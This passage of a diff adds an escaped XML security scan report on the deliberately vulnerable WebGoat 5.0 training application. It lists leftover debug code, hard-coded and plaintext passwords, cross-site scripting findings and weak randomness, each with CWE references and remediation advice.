+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
